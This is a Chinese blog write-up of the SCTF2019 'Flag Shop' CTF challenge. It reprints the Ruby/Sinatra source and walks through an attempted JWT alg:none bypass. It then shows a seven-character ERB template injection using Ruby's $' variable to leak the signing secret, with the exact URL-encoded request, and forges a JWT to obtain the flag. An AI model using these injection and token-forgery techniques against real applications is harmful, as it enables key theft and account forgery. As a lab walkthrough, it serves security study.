[SCTF2019]Flag Shop 题解


看下题,发现是要买flag,先抓个包看看

Cookie: auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJiZjJkYzQwMy04MDFlLTQxZDctYTk1OS03NDdkOGMzNTEwODkiLCJqa2wiOjIwfQ.BhFhXELhU04M0Y0LyHhjkaKPlOo1fkXeCY9iG4p5H2s

使用了JWT,解码下看看

将alg字段修改为none,将jkl字段修改为1000000000000000000000000001,再放包

提示Internal Server Error,看来没法这么简单的无签名绕过。由于该JWT使用的哈希算法是HS256,为对称加密,尝试用jwt-cracker爆破密钥。发现短时间跑不出来,不可行。

扫一下目录,发现robots.txt,这里面又有/filebak,进入/filebak目录可以看到源码

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

是用Ruby写的,其中有一行危险代码

ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

这里将name参数的前7位未经任何过滤就直接用ERB模板渲染,存在模板注入漏洞。

但这里我们可控的只有七位,还需要算上ERB模板的格式<%=%>,这样一来我们可控的就只有两位了。

两位听上去很少,但Ruby语言中存在预定义变量这个东西

Ruby预定义变量

再去看一下源码,可以看到在渲染模板这部分的上面,存在一个ENV["SECRET"]与SECRET参数的正则匹配,正好预定义变量中有这样一个东西:

$'
The string to the right of the last successful match.

SECRET参数是我们可控的,我们可以构造一个空的SECRET,来命中ENV["SECRET"]的开头,这样一来“The string to the right of the last successful match.”就是完整的ENV["SECRET"]了,我们可以在下面部分的ERB模板注入中构造<%=$'%>来获取到ENV["SECRET"],即密钥,来伪造JWT。

抓包拦截下/work的报文,构造后重放

GET /work?name=%3c%25%3d%24%27%25%3e&SECRET=&do=%3c%25%3d%24%27%25%3e%20is%20working HTTP/1.1

Host: 3386b445-7f36-4794-a767-44ae0d91c9bd.node5.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36

Accept: */*

Referer: http://3386b445-7f36-4794-a767-44ae0d91c9bd.node5.buuoj.cn/shop

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiI2YTQxMzFmZS04ODljLTQ4ODItYTgwYy0wNDUzNzRkYWZiZWYiLCJqa2wiOjIwfQ.qbnxHyCcfwKPymWMRYTfT6LIQksMHRccFf8Zm9-x1M0

Connection: close

这里name和bot直接使用<%=$'%>会引发服务器400,我们尝试url编码,发现能够收到回显

返回了JWT的密钥,我们拿去给伪造的JWT签名(伪造的JWT中jkl字段的值要大于题目的flag价格)

伪造好JWT后,重放,在返回包的Set-Cookie头部中包含了base64后的flag,解码,成功拿flag。

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - [SCTF2019]Flag Shop 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.